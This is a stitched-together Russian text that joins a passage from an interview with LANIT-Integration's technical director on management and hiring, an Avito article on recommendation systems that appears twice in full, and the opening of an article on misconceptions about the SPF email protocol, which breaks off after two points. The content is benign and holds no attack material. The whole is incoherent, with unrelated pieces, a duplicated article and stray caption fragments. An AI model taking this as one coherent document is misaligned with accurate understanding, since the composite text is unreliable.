Из года в год мы эволюционируем. Сейчас в нашем портфеле много гранд-проектов, где мы выступаем как генподрядчик (например, оснащение стадиона "Открытие Арена"). Это значит, что мы контролируем все: стройку, разработку, сервис. Поэтому у нас многое меняется: риск-менеджмент, бюджетирование, логистика. Последняя, например, стала быстрой: не недели и дни, а буквально часы, когда что-то срочно требуется на объекте. В классическом ИТ-бизнесе такого нет.

Для стадиона «Открытие Арена» мы спроектировали и развернули универсальное техническое решение, которое включает систему бесперебойного электропитания кроссовых помещений и центр обработки данных, структурированную кабельную систему, IP-телевидение, систему телефонной связи, мультисервисную сеть передачи данных, информационную безопасность и цифровые вывески для видеорекламы и информирования.

За три года в дополнение к основному бизнесу «ЛАНИТ-Интеграции» у нас появились и новые направления. Например,разработка, нишевые продукты в сфере консалтинга. Это также сервис «Эксперт по требованию», в рамках которого наши специалисты помогают решать неспецифические ИТ-задачи, или услуга «Ничего лишнего», позволяющая сократить издержки на владение ИТ-инфраструктурой.

Мы даже можем обучать: «Курс молодого бойца» как раз для того, чтобы специалисты (один-два человека) компании-заказчика могли получить новые навыки и знания непосредственно на практике. Мы предлагаем им поработать стажерами на наших проектах, где можно увидеть новое оборудование, узнать нюансы его внедрения и т.д. С нами можно организовать «Безопасный переезд». Каждые несколько недель мы предлагаем новый продукт (сервис), хотя это и не ядро бизнеса нашей компании.

О роли технического директора

Это заблуждение, что технический директор занимается исключительно техническими вопросами. Сейчас невозможно оставаться востребованным специалистом без умения видеть потенциал для своего дела в смежных направлениях. Всегда надо оглядываться по сторонам. Конечно, тяжело это делать, когда компания — лидер на рынке, потому что первый задает направление. И все же я не готов ассоциировать себя с бизнесом, у которого все было. Мы же не в США, Японии, Германии или Китае, где и вправду многое было. В РФ зрелость рынка ИТ-интеграции — примерно 15 лет. Мы только палку-копалку осваиваем. Поэтому надо понимать, что мир сложнее и шире.

Раньше главная наша задача была что-то внедрить, поэтому и технический блок воспринимался как «внедренцы». Сейчас нельзя быть техническим директором и заниматься только технологиями. Это не приносит бизнес-результата. Технологии, которые мы внедряем, должны помогать заказчику экономить или зарабатывать в перспективе лет на пять-семь. Если ты не можешь внятно рассказать, почему необходимо делать именно так и именно это, у тебя никто ничего не купит. Тебе нечего будет внедрять. Ты можешь сколько угодно хорошо разбираться в настройках коммутаторов, но их надо сначала продать. Сейчас даже руководители технических отделов не имеют права не интересоваться деньгами, стратегиями продаж, маржинальностью, конкурентными особенностями своих решений.

Ежегодно с рынка уходят по два средних игрока. Не потому, что рынка стало сильно меньше, а потому что сильно изменились требования к людям, к ведению бизнеса и проектов, отношению к заказчику.


Источник
Медиацентр площадью более 7,8 тыс. кв. м — ИТ-основа «Зарядья»: он объединяет в себе все аттракционы, всю ИТ-инфраструктуру парка.

О маркетинге, который продает

Без маркетинга сейчас невозможно что-то продавать в принципе. У тебя должна быть очень красивая формальная часть: презентация, коммерческое предложение, сайт, мероприятия. Но контент — наша ответственность. Никакой маркетолог не напишет за технического специалиста правильные предложения заказчикам с пониманием специфики и требований.

Источник

В компаниях, где я раньше работал, с маркетингом была иная ситуация. Это такая формальная шкурка была, что, возможно, было продиктовано временем. Сейчас продающий маркетинг может быть только у тех, кто генерит продукт, занимается разработкой, внедряет и общается с вендорами. Поэтому маркетинг у нас находится в техническом департаменте и курирую его я.

Первая цель нашего маркетинга — выйти на рынок малого и среднего бизнеса (СМБ), на котором ЛАНИТ слабо представлен, и на нем успешно продавать. С лета 2016 года мы постоянно разрабатываем продукты для СМБ. Мы продаем то, что нужно заказчику, что снимает его головную боль.  

Вторая цель маркетинга в «ЛАНИТ-Интеграции» — упростить заказчикам доступ к нам в тех отраслях, где мы не были представлены.

О команде и профессиональном выгорании

В нашей сфере ценность специалиста определяется тем, что у него достаточно опыта для того, чтобы понимать, как не надо делать. «Как надо» знают практически все, только не получается успешный опыт тиражировать на все проекты. Всегда есть побочные эффекты. Только тогда, когда у тебя есть специалисты, которые точно знают, как не надо делать, есть шансы реализовать успешный проект.

В «ЛАНИТ-Интеграции» много людей с опытом. Собиралась наша команда эволюционно, поскольку компания выросла из департамента сетевой интеграции ЛАНИТ.


Мы четко понимаем, что у нас должна быть команда, компетенции которой нам будут нужны в краткосрочной перспективе — сегодня-завтра. Если какая-то компетенция завтра не нужна, то людей необходимо перепрофилировать, чтобы они могли сохранять личную востребованность на проектах.

Важно еще понимать, что в ИТ методологически все продумано либо для разработки (кодинг), либо для тех, кто поддерживает системы, — чинит и администрирует. Там классная научная база. Посередине — как раз там, где работаем мы, — гринфилд. Если к этому добавить отечественную специфику ведения бизнеса (проблемы в закупках, сроках, тендерах, юридических отношениях с подрядчиками), то у всех компаний получаются личные рецепты выживания. Рецепт нашего успеха — команда. Наш технический блок — несколько сотен человек. Их эффективность очень высока: мы выполняем свыше двухсот проектов в год. Во многом благодаря результатам именно «ЛАНИТ-Интеграции» группа ЛАНИТ несколько лет подряд — №1 по объему выручки среди компаний, оказывающих ИТ-услуги в России (по данным IDC).


Мы создали информационно-техническую систему и мультимедийный комплекс Корпоративного университета Сбербанка.

Чтобы быть эффективными, людям важно знать, зачем каждый из них что-то делает и как это надо делать. Когда человек не знает, он додумывает, и не факт, что все придуманное будет именно таким, каким ты ждешь. Недавно мы ввели проведение полугодовых и годовых встреч. Я стараюсь встречаться со всеми, говорить об успехах на проектах, давать обратную связь.

Это позволяет избежать такого явления как профессиональное выгорание, которое наступает, когда ты долго живешь в рамках одного ТЗ без планов и идей. Когда ты очертил себе какой-то кружочек, в рамках которого хочешь стать лучшим, и становишься им. Поначалу чувствуешь гордость, а потом постепенно, сам того не замечая, сдуваешься.

О принципах управления

Первый кит нашей системы управления — прозрачность целей. Важно, чтобы все понимали, куда мы идем, и чтобы я понимал свою команду.

Второй принцип управления – требовательность. Нельзя поставить задачу и потом про нее забыть. Нельзя нарисовать план проекта и выкинуть его в корзину – надо исполнять. Причем в обе стороны. Иначе ничего не получится.

Третий постулат – делегировать все, что можно. Если ты не будешь делегировать, то сотрудники не будут расти, а сам ты мало что сможешь сделать. Нужно управлять командой, которая может очень многое делать автономно. Такая команда может появиться, если ты доверяешь и тебе доверяют. Если этот механизм не выстроен, то ты сам постоянно будешь везде бегать и за всеми все сам доделывать. Это нереально.

О лайфхаках на проектах

Наш лайфхак, который работает для проектов любого масштаба в инженерном блоке, — постоянная синхронизация с командой в отношении целей, задач и последствий. Почему-то считается (это я видел неоднократно), что в отношении инженеров это не обязательно. Сказал инженеру сделать «чего-то», и инженер пошел и сделал. Понять не могу, почему так. Ведь не все настолько хорошо стандартизовано, чтобы можно было бы забыть о коммуникации. Но на практике часто именно так и происходит: ну что там инженер? Пошел и настроил… Пошел и спроектировал… Это не работает.

Источник

Я считаю, что нормальный человек, без отклонений, не хочет априори делать свою работу плохо. Он хочет делать ровно или хорошо.

Так вот, чтобы человек сделал хорошо, ему нужно объяснить, что такое этот проект и зачем это все. Поэтому мы стараемся показывать людям причинно-следственные связи: «Мы делаем этот проект. Ожидания заказчика таковы. Поэтому сроки таковы. Условия договора такие. Денег мы зарабатываем вот столько». Это обязательно нужно знать инженеру. В процентах, в числах. Что мы зарабатываем на проекте, что это не сизифов труд.

Об ошибках

Первая ошибка любого управленца, и я тоже это прошел, – судить людей по себе. Я считал, что если я могу, то и все остальные могут. Причем лучше. Это оказалось в корне неверно: все люди разные, у всех свои плюсы и минусы, разные сильные и слабые стороны. Нужно стараться соприкасаться с человеком плюсами, сотрудничать с ним в отношении его возможностей.

Более того, я все время рассматривал человека в комплексе: «Ну наверное, этот человек на столько-то баллов. С ним не получится». Сейчас пересмотрел это, и стало легче и проще. Подходишь к яблоне – фокусируйся на ее плодах, а не на красоте дерева. Наверное, есть деревья красивее, чем яблоня, но яблоки есть только у нее. Если нужны яблоки, то по ним и смотри. Это очень сложно. В этом и есть мудрость руководителя – понять, что человек может. И, конечно, смотри, чего человек хочет. Раньше мне это было не интересно. Это тоже была ошибка. Но я  тогда больших позиций не занимал, чтобы очень много людей от этого пострадало [Смеется]. Теперь фокусируюсь на возможностях.

Что может и хочет человек — это примерно пополам. Понять, чего хочет сотрудник, крайне важно. У всех свой список. Деньги, конечно, там есть. Они в пятерке, но явно не на первом месте. Кому-то нужен комфорт, кому-то – общение с коллегами, кому-то —  заниматься интересной специальностью или работать с каким-то оборудованием, кому-то – ездить в командировки почаще, потому что он хочет посмотреть страну и мир. Если понять это и дать человеку в обмен на то, чем он может быть полезен компании, все от этого только выиграют. Здесь, конечно, нужно потратить много сил, но для ключевых сотрудников это сделать просто обязательно.

О компромисах

Не позволяю нелояльности к компании и неуважения к коллегам. Пришел в коллектив — будь добр со всеми вежливо общаться, коммуницировать по бизнесу, работу стараться делать по максимуму.

Любить свою компанию – это вообще must have. Если человек плохо относится к компании, то зачем он в ней работает? Получается, что либо он не может найти другого места, либо он к себе плохо относится. Оба варианта плохи. Что недовольный — работой или собой — человек может транслировать в мир? Как он будет на проектах работать? Ответы очевидны.

О работе в удовольствие

Мы требуем от сотрудников результата, роста, усилий, длительных командировок. Придется работать там, где тяжело. Попробуй поработай один день в серверной! Там очень шумно и холодно, если кто не знает. Это нелегкий труд, но и велико удовольствие от того, что смог.


Монтаж мультимедийных систем в «Зарядье»

Важно, если у человека внутри что-то горит, если человек не спокоен по жизни. Причем не важна тема. Он может вообще ничего не знать об интеграторском бизнесе. Например, пришел к нам из нефтегазовой отрасли, но там он был руководителем проекта, и у него получалось. Если у человека много увлечений, активная жизненная позиция, то такой человек нам нужен. Мы его энергетику подхватим, научим, и он будет очень полезен. Он заразит этой энергетикой коллег и окружающих. Вот именно эту штуку я стараюсь на собеседованиях выявить.

О собеседованиях

Мое собеседование — один из последних рубежей при приеме на работу. До него доходят хорошие кандидаты, которые получили одобрение HR и руководителей технических вертикалей. Знания кандидатов проверили начальники отделов. Моя задача – определить уровень самомотивации и управляемости. Очень важны жизненные установки человека. В первую очередь, где он совершенствуется: пусть он вино пробует или интересуется кино. Да чем угодно! Важно, как он это делает год от года, его динамика.

Например, очень многие бегают: на дорожке, в парках, еще где-то. Вот человек говорит на собеседовании: «Я бегаю».

Ну это же здорово. Не важно, когда ты это делаешь — утром или вечером, но явно ты себя заставляешь. Это точно труд. Как спортсмен, я это знаю. Спрашиваю кандидата: «А как ты бегаешь? У тебя есть показатели, время?» И люди сразу делятся на две категории: первая бегает – для удовольствия, вторая – на результат.

Для человека, который просто так бегает, важен процесс, а не результат. Ты начинаешь его спрашивать про книги, работу, и он тебе примерно все в той же парадигме рассказывает. Это неплохой человек, бывает — просто замечательный. Такие люди, безусловно, нужны. Но для работы в проектах мы отдаем предпочтение тем, кто стремится во всем работать на результат.

Об управляемости

Очень важное качество кандидата – управляемость. Это когда человеку сказали что-то сделать, а он не согласен, считает по-другому, не видит в этом смысла (может быть миллиард причин!), но он идет и делает. Он, конечно, может высказать свои соображения, его выслушают, но сделать все равно надо.

Управляемость тоже выявляется на собеседовании. Это качество очень нужно для работы в команде, потому что у руководителя не всегда есть время объяснять. Не всегда у сотрудника есть опыт, чтобы осознать. К слову, я тоже управляемый. Молчать, конечно, не буду, но обязательно сделаю. Иначе пирамидка не работает.

О навыках

На каждом проекте не хватает чего-то. Я руководствуюсь принципом познания этого «чего-то», который состоит из трех составляющих. Первая — ты должен спросить у знающего. Найти и спросить совета в отношении данного вопроса. Без этого получается однобокая картина мира.

Вторая составляющая — познать матчасть (книги, курсы и др.). Можно к вендору ехать общаться, можно у конкурента смотреть, можно у себя лабораторию собрать и изучать.

И третье, — личный опыт. Надо попробовать самому. Можно сколько угодно читать, но пока ты сам не попробовал, то все это выеденного яйца не стоит.

Когда ты прошел все три этапа, у тебя появляется собственное мнение на сей счет. Если это собственное мнение качественное, то тебя можно считать чуть-чуть экспертом. Если хочешь стать экспертом, надо много раз весь этот путь повторить.

То же самое в проектах. Если не хватает теоретических знаний, значит — иди учись, не хватает практики — используй материальную базу: демоцентр, инженерный блок.

Повышение компетенции

Я люблю конференции вендоров. Эти мероприятия ценны тем, что на них собираются партнеры со всего мира, и можно, общаясь со всеми, узнавать специфику: проще что-то перенять, чем заново изобретать. Мне нравится общаться с индусами, китайцами, южными корейцами, японцами, представителями стран Африки. Они интересны и новыми решениями, и финансовой политикой. Они готовы передавать инициативу.

О книгах

В год я читаю примерно 15-25 книг из профессиональной сферы — все, что выходит новое в ИТ, маркетинге, продажах, управлении людьми.

Есть у меня и своя личная полочка дома, где стоят «бумажные» книги, которые я бы перечитывал по несколько раз и которые обязательно рекомендовал бы любому, неважно, чем он занимается.

Книжная полка Андрея Бедраня

• Дэниел Канеман «Думай медленно… Решай быстро»
  
• Александр Прохоров «Русская модель управления»
  
• Нассим Николас Талеб «Черный лебедь. Под знаком непредсказуемости»
  
• Элия М. Гольдратт, Кокс Джеффри «Цель. Процесс непрерывного совершенствования»
  
• Уильям Детмер «Теория ограничений Голдратта. Системный подход к непрерывному совершенствованию»
  
• Сет Годин «Фиолетовая корова. Сделайте свой бизнес выдающимся!»
  
• Дэвид Майстер «Первый среди равных. Как руководить группой профессионалов»
  
• Лидо Энтони «Ли» Якокка «Карьера менеджера»
  
• Брайан Моран, Майкл Леннингтон  «12 недель в году. Как за 12 недель сделать больше, чем другие успевают за 12 месяцев»
  

«Русскую модель управления» Александра Прохорова и «Думай медленно… Решай быстро» Даниэля Канеман нужно прочитать как минимум по два раза. Они не относятся к профессии, они сложные, но идеи из этих книг человек обязан знать, если он живет в России и занимается интеллектуальным трудом.

Вместо заключения

Перспектив у нас много для всех на разных этапах. Для всех: и для инженеров, и для архитекторов, и для пресейлов. Каждый может прийти ко мне поговорить или посоветоваться. Считаю, что одна из моих очень важных задач как технического директора — воодушевлять, рассказывать сотрудникам про цели и беседовать на темы неудач.

Original source: habrahabr.ru (comments, light).

В этой статье пойдет речь о том, как строятся персональные рекомендации на Avito. Исторически бизнес-модель Avito устроена так, что выдача объявлений в поиске происходит по времени их размещения. При этом пользователь может покупать дополнительные услуги для того, чтобы поднять свое объявление в поиске в том случае, если со временем объявление опустилось далеко в поисковой выдаче и перестало набирать просмотры и контакты.

В контексте данной бизнес-модели не очевидно, зачем нужны персональные рекомендации. Ведь они как раз нарушают логику сортировки по времени и те пользователи, которые платят за поднятие объявления, могут обидеться за то, что чье-то другое объявление мы «поднимаем» и показываем пользователю совершенно бесплатно только потому, что наша рекомендательная модель посчитала это объявление более релевантным для какого-то пользователя.

Однако сейчас персональные рекомендации становятся “must have” для классифайдов (и не только) по всему миру. Мы хотим помогать пользователю в поиске того, что ему нужно. Уже сейчас всё более значительная доля просмотров объявлений на Avito производится с рекомендаций на главной странице приложений или рекомендаций похожих объявлений на карточке товара. В этом посте я расскажу, какие именно задачи решает наша команда в Avito.

Виды рекомендаций

Сначала рассмотрим, какие типы рекомендаций могут быть полезны на Avito.

User-item рекомендации

В первую очередь это user-item рекомендации, то есть рекомендации объявлений для пользователя. Они могут быть двух типов. Первый — это товары или услуги, которые в настоящий момент ищет пользователь. Второй тип — дополняющие их товары или услуги. Например, чехлы для телефона, если человек ищет телефон. Или услуги перевозки мебели, если человек покупает или продает квартиру. Или кляссеры для хранения коллекции филателиста, если человек ищет почтовые марки.

User-item рекомендации мы доставляем до пользователей сейчас тремя способами:

• блоки с рекомендациями на главной странице мобильных приложений;
• баннеры с рекомендациями в поисковой выдаче на desktop;
• email- и push-рассылки с подборкой рекомендованных объявлений.

User-category рекомендации

Так же бывает нужно рекомендовать не конкретные объявления, а категории товаров (user-category рекомендации), перейдя в которые пользователь уже сам уточняет поисковые фильтры. User-category рекомендации так же делятся на два типа: рекомендации категорий текущих интересов пользователя и кросс-категорийные рекомендации. Сейчас мы используем этот тип рекомендаций в push-рассылках и на главной странице приложений.

Кросс-категорийные рекомендации особенно важны для Avito, так как большинство пользователей Рунета так или иначе хоть раз пользовались Avito, но часто «сидят» в одной категории. Многие не догадываются, что на Avito кроме личных вещей еще можно эффективно продать квартиру или автомобиль. Кросс-категорийные рекомендации помогают нам расширить спектр категорий, в которых пользователь является продавцом или покупателем, и таким образом увеличить вовлеченность пользователей.

Item-item рекомендации

Еще одним перспективным направлением рекомендаций на Avito являются item-item рекомендации, то есть рекомендации товаров для других товаров. Этот тип рекомендаций также делится на рекомендации похожих товаров (аналоги) и дополняющих товаров или услуг. Это направление является особенно важным, так как, в отличие от медийных порталов (фильмы, музыка) пользователь, как правило, приходит на Avito за чем-то конкретным и нам сложно заранее предсказать текущие предпочтения пользователей. Но если пользователь уже сам смотрит какой-то товар, то тут мы можем посоветовать ему альтернативы или дополняющие товары и они с большой вероятностью будут релевантны его текущему поиску. Рекомендации похожих объявлений показываются на карточке объявления, а также используются в email- и push-рассылках.

User-item рекомендации для классифайдов

Теперь немного углубимся в задачу user-item рекомендаций, как наиболее интересную с теоретической точки зрения. Входными данными являются:

• история действий пользователей на сайте: просмотры, поисковые запросы, контакты, избранное;
• профили пользователей: данные из привязанных аккаунтов соц. сетей, локация;
• все активные объявления на Avito: заголовок, описание, параметры, цена.

При этом объем данных сравнительно большой: 20 млн. активных пользователей, 35 млн. активных объявлений.

Постановка задачи звучит следующим образом: для каждого активного пользователя показать top-N объявлений с наибольшей вероятностью запроса контакта (звонок или отправка сообщения).

Несмотря на то, что формулировка задачи звучит как классическая задача любой рекомендательной системы, её построение для Avito имеет существенные отличия от задач рекомендаций медийного контента: фильмов, музыки и прочего. Во-первых, ликвидные товары частников быстро продаются, не успев даже набрать хорошую историю по просмотрам и запросам контактов. Классические алгоритмы коллаборативной фильтрации устроены так, что объявления с короткой историей не попадают в рекомендации. Чаще рекомендуются долго живущие объявления, которые, как правило, представляют меньший интерес для покупателей.

Также пользователя, как правило, интересует типовой товар, для которого может быть много активных объявлений. Например, ему нужно купить конкретную модель iPhone, а у кого — уже не так важно. Поэтому строить рекомендации лучше не на объявлениях, а на типовых товарах. Для этого мы строим специальные алгоритмы кластеризации.

Еще одной особенностью рекомендаций на Avito является то, что объявления создаются обычными пользователями и содержат ошибки, неполные описания. Это приводит к тому, что нам приходится серьезно работать над text processing, извлечением полезных признаков из описаний объявлений.

Методы

Теперь несколько слов о том, какие методы мы используем для построения рекомендаций.

Offline-модели

Исторически мы использовали и продолжаем использовать модели, которые обрабатывают click stream пользователей в «batch» режиме. Эти алгоритмы позволяют реагировать на новые действия, совершенные пользователем, с отставанием в 1-2 часа. Мы называем их offline-моделями.

Offline-модели рекомендаций глобально делятся на коллаборативные и контентные. Очевидно, что каждая из этих моделей имеет свои плюсы и минусы и наилучшие результаты показывают гибридные модели, которые учитывают как историю действий пользователей, так и контент объявлений. Именно гибридную модель мы и используем в качестве основной для offline-рекомендаций.

Online-модели

Offline-модели способны генерировать качественные рекомендации, но они не могут быстро реагировать на изменения интересов пользователя. Это — их существенный минус. Например, если пользователь начал искать какой-то новый товар на Avito, то мы хотим в рамках той же сессии начать рекомендовать ему подходящие товары. Для этого мы должны в реальном времени учитывать интересы пользователя. Такие модели мы называем online-моделями.

Их особенностью является то, что они более сложны с архитектурной точки зрения (время от момента совершения действия пользователем до обновления рекомендаций — не более 1 секунды). Классическая online модель основана на построении online профиля интересов пользователя, с помощью которого отбираются самые свежие и релевантные объявления. Из-за жестких требований к производительности online-алгоритмы, как правило, более простые, чем offline.

Оценка качества моделей

После того, как новая модель создана, её нужно как-то оценить. Целевой метрикой по компании является прирост количества сделок на Avito. Все offline- и online-метрики должны так или иначе должны коррелировать с ней.

Для оценки offline-моделей существует ряд отличных метрик, таких как precision, recall, NDCG, R-score и другие.

Не всегда удается подобрать такие offline-метрики, которые хорошо коррелируют с целевой метрикой компании. Здесь на помощь приходят online-метрики (CTR, конверсия в контакты, прирост в уникальных покупателях). На online сплит-тестах мы можем сравнить рекомендации от различных моделей и различные frontend-интерфейсы. Для оптимизации метапараметров моделей хорошо подходит метод многоруких бандитов.

Итоги

Перед командой рекомендации Avito стоят амбициозные задачи, которые требуют глубокого и активного исследования методов рекомендаций, способных выдерживать нагрузки Avito по производительности и показывать отличные результаты на целевых метриках.

Для того, чтобы найти оптимальные подходы, мы читаем много статей, ездим и выступаем на конференциях и проводим конкурсы. Не так давно закончился наш конкурс по рекомендациям, и мы не планируем на этом останавливаться. Призываем всех заинтересованных помочь нам в этом нелегком труде путем участия в наших конкурсах. А мы постараемся не скупиться на призовые :). Также у нас периодически открываются вакансии, о которых мы обязательно сообщаем в slack-канале ODS.

Кроме этого, мы и сами участвуем в конкурсах. BTW, в 2016 и 2017 годах мы вошли в 10-ку лучших команд на крупнейшем международном соревновании по рекомендательным системам Recsys Challenge. В следующей статье планирую подробнее рассказать о нашем решении Recsys Challenge 2017.

Спасибо за внимание!

Original source: habrahabr.ru (comments, light).

В этой статье пойдет речь о том, как строятся персональные рекомендации на Avito. Исторически бизнес-модель Avito устроена так, что выдача объявлений в поиске происходит по времени их размещения. При этом пользователь может покупать дополнительные услуги для того, чтобы поднять свое объявление в поиске в том случае, если со временем объявление опустилось далеко в поисковой выдаче и перестало набирать просмотры и контакты.

В контексте данной бизнес-модели не очевидно, зачем нужны персональные рекомендации. Ведь они как раз нарушают логику сортировки по времени и те пользователи, которые платят за поднятие объявления, могут обидеться за то, что чье-то другое объявление мы «поднимаем» и показываем пользователю совершенно бесплатно только потому, что наша рекомендательная модель посчитала это объявление более релевантным для какого-то пользователя.

Однако сейчас персональные рекомендации становятся “must have” для классифайдов (и не только) по всему миру. Мы хотим помогать пользователю в поиске того, что ему нужно. Уже сейчас всё более значительная доля просмотров объявлений на Avito производится с рекомендаций на главной странице приложений или рекомендаций похожих объявлений на карточке товара. В этом посте я расскажу, какие именно задачи решает наша команда в Avito.

Виды рекомендаций

Сначала рассмотрим, какие типы рекомендаций могут быть полезны на Avito.

User-item рекомендации

В первую очередь это user-item рекомендации, то есть рекомендации объявлений для пользователя. Они могут быть двух типов. Первый — это товары или услуги, которые в настоящий момент ищет пользователь. Второй тип — дополняющие их товары или услуги. Например, чехлы для телефона, если человек ищет телефон. Или услуги перевозки мебели, если человек покупает или продает квартиру. Или кляссеры для хранения коллекции филателиста, если человек ищет почтовые марки.

User-item рекомендации мы доставляем до пользователей сейчас тремя способами:

• блоки с рекомендациями на главной странице мобильных приложений;
• баннеры с рекомендациями в поисковой выдаче на desktop;
• email- и push-рассылки с подборкой рекомендованных объявлений.

User-category рекомендации

Так же бывает нужно рекомендовать не конкретные объявления, а категории товаров (user-category рекомендации), перейдя в которые пользователь уже сам уточняет поисковые фильтры. User-category рекомендации так же делятся на два типа: рекомендации категорий текущих интересов пользователя и кросс-категорийные рекомендации. Сейчас мы используем этот тип рекомендаций в push-рассылках и на главной странице приложений.

Кросс-категорийные рекомендации особенно важны для Avito, так как большинство пользователей Рунета так или иначе хоть раз пользовались Avito, но часто «сидят» в одной категории. Многие не догадываются, что на Avito кроме личных вещей еще можно эффективно продать квартиру или автомобиль. Кросс-категорийные рекомендации помогают нам расширить спектр категорий, в которых пользователь является продавцом или покупателем, и таким образом увеличить вовлеченность пользователей.

Item-item рекомендации

Еще одним перспективным направлением рекомендаций на Avito являются item-item рекомендации, то есть рекомендации товаров для других товаров. Этот тип рекомендаций также делится на рекомендации похожих товаров (аналоги) и дополняющих товаров или услуг. Это направление является особенно важным, так как, в отличие от медийных порталов (фильмы, музыка) пользователь, как правило, приходит на Avito за чем-то конкретным и нам сложно заранее предсказать текущие предпочтения пользователей. Но если пользователь уже сам смотрит какой-то товар, то тут мы можем посоветовать ему альтернативы или дополняющие товары и они с большой вероятностью будут релевантны его текущему поиску. Рекомендации похожих объявлений показываются на карточке объявления, а также используются в email- и push-рассылках.

User-item рекомендации для классифайдов

Теперь немного углубимся в задачу user-item рекомендаций, как наиболее интересную с теоретической точки зрения. Входными данными являются:

• история действий пользователей на сайте: просмотры, поисковые запросы, контакты, избранное;
• профили пользователей: данные из привязанных аккаунтов соц. сетей, локация;
• все активные объявления на Avito: заголовок, описание, параметры, цена.

При этом объем данных сравнительно большой: 20 млн. активных пользователей, 35 млн. активных объявлений.

Постановка задачи звучит следующим образом: для каждого активного пользователя показать top-N объявлений с наибольшей вероятностью запроса контакта (звонок или отправка сообщения).

Несмотря на то, что формулировка задачи звучит как классическая задача любой рекомендательной системы, её построение для Avito имеет существенные отличия от задач рекомендаций медийного контента: фильмов, музыки и прочего. Во-первых, ликвидные товары частников быстро продаются, не успев даже набрать хорошую историю по просмотрам и запросам контактов. Классические алгоритмы коллаборативной фильтрации устроены так, что объявления с короткой историей не попадают в рекомендации. Чаще рекомендуются долго живущие объявления, которые, как правило, представляют меньший интерес для покупателей.

Также пользователя, как правило, интересует типовой товар, для которого может быть много активных объявлений. Например, ему нужно купить конкретную модель iPhone, а у кого — уже не так важно. Поэтому строить рекомендации лучше не на объявлениях, а на типовых товарах. Для этого мы строим специальные алгоритмы кластеризации.

Еще одной особенностью рекомендаций на Avito является то, что объявления создаются обычными пользователями и содержат ошибки, неполные описания. Это приводит к тому, что нам приходится серьезно работать над text processing, извлечением полезных признаков из описаний объявлений.

Методы

Теперь несколько слов о том, какие методы мы используем для построения рекомендаций.

Offline-модели

Исторически мы использовали и продолжаем использовать модели, которые обрабатывают click stream пользователей в «batch» режиме. Эти алгоритмы позволяют реагировать на новые действия, совершенные пользователем, с отставанием в 1-2 часа. Мы называем их offline-моделями.

Offline-модели рекомендаций глобально делятся на коллаборативные и контентные. Очевидно, что каждая из этих моделей имеет свои плюсы и минусы и наилучшие результаты показывают гибридные модели, которые учитывают как историю действий пользователей, так и контент объявлений. Именно гибридную модель мы и используем в качестве основной для offline-рекомендаций.

Online-модели

Offline-модели способны генерировать качественные рекомендации, но они не могут быстро реагировать на изменения интересов пользователя. Это — их существенный минус. Например, если пользователь начал искать какой-то новый товар на Avito, то мы хотим в рамках той же сессии начать рекомендовать ему подходящие товары. Для этого мы должны в реальном времени учитывать интересы пользователя. Такие модели мы называем online-моделями.

Их особенностью является то, что они более сложны с архитектурной точки зрения (время от момента совершения действия пользователем до обновления рекомендаций — не более 1 секунды). Классическая online модель основана на построении online профиля интересов пользователя, с помощью которого отбираются самые свежие и релевантные объявления. Из-за жестких требований к производительности online-алгоритмы, как правило, более простые, чем offline.

Оценка качества моделей

После того, как новая модель создана, её нужно как-то оценить. Целевой метрикой по компании является прирост количества сделок на Avito. Все offline- и online-метрики должны так или иначе должны коррелировать с ней.

Для оценки offline-моделей существует ряд отличных метрик, таких как precision, recall, NDCG, R-score и другие.

Не всегда удается подобрать такие offline-метрики, которые хорошо коррелируют с целевой метрикой компании. Здесь на помощь приходят online-метрики (CTR, конверсия в контакты, прирост в уникальных покупателях). На online сплит-тестах мы можем сравнить рекомендации от различных моделей и различные frontend-интерфейсы. Для оптимизации метапараметров моделей хорошо подходит метод многоруких бандитов.

Итоги

Перед командой рекомендации Avito стоят амбициозные задачи, которые требуют глубокого и активного исследования методов рекомендаций, способных выдерживать нагрузки Avito по производительности и показывать отличные результаты на целевых метриках.

Для того, чтобы найти оптимальные подходы, мы читаем много статей, ездим и выступаем на конференциях и проводим конкурсы. Не так давно закончился наш конкурс по рекомендациям, и мы не планируем на этом останавливаться. Призываем всех заинтересованных помочь нам в этом нелегком труде путем участия в наших конкурсах. А мы постараемся не скупиться на призовые :). Также у нас периодически открываются вакансии, о которых мы обязательно сообщаем в slack-канале ODS.

Кроме этого, мы и сами участвуем в конкурсах. BTW, в 2016 и 2017 годах мы вошли в 10-ку лучших команд на крупнейшем международном соревновании по рекомендательным системам Recsys Challenge. В следующей статье планирую подробнее рассказать о нашем решении Recsys Challenge 2017.

Спасибо за внимание!

Original source: habrahabr.ru (comments, light).

SPF (Sender Policy Framework), полное название можно перевести как "Основы политики отправителя для авторизации использования домена в Email" — протокол, посредством которого домен электронной почты может указать, какие хосты Интернет авторизованы использовать этот домен в командах SMTP HELO и MAIL FROM. Публикация политики SPF не требует никакого дополнительного софта и поэтому чрезвычайно проста: достаточно добавить в зону DNS запись типа TXT, содержащую политику, пример записи есть в конце статьи. Для работы с SPF есть многочисленные мануалы и даже онлайн-конструкторы.

Первая версия стандарта SPF принята более 10 лет назад. За это время были созданы многочисленные реализации, выработаны практики применения и появилась свежая версия стандарта. Но самое удивительное, что почему-то именно SPF, более чем любой другой стандарт, оброс за 10 лет невероятным количеством мифов и заблуждений, которые кочуют из статьи в статью и с завидной регулярностью выскакивают в обсуждениях и ответах на вопросы на форумах. А протокол, казалось бы, такой простой: внедрение занимает всего пару минут. Давайте попробуем вспомнить и разобрать наиболее частые заблуждения.

TL;DR — рекомендации в конце.

1. Заблуждение: SPF защищает мой домен от подделок

На самом деле: SPF никак не защищает видимый пользователю адрес отправителя.

Объяснение: SPF вообще не работает с содержимым письма, которое видит пользователь, в частности с адресом отправителя. SPF авторизует и проверяет адреса на уровне почтового транспорта (SMTP) между двумя MTA (envelope-from, RFC5321.MailFrom aka Return-Path). Эти адреса не видны пользователю и могут отличаться от видимых пользователю адресов из заголовка From письма (RFC5322.From). Таким образом, письмо с поддельным отправителем во From запросто может пройти SPF-авторизацию.

2. Заблуждение: Я внедрю SPF и станет безопасней и меньше спама

На самом деле: скорей всего, изменений в плане безопасности и спама вы не заметите.

Объяснение: SPF изначально альтруистический протокол и сам по себе не дает преимуществ тому, кто публикует SPF-политику. Теоретически, внедрение вами SPF могло бы защитить кого-то другого от поддельных писем с вашего домена. Но на практике даже это не так, потому что результаты SPF редко используются напрямую (об этом ниже). Боле того, даже если бы все домены публиковали SPF, а все получатели запрещали получение писем без SPF-авторизации, это вряд ли привело бы к снижению уровня спама.

SPF не защищает от подделки отправителя или спама напрямую, тем не менее, он активно используется и весьма полезен и в системах спам-фильтрации и для защиты от поддельных писем, т.к. позволяет привязать письмо к определенному домену и его репутации.

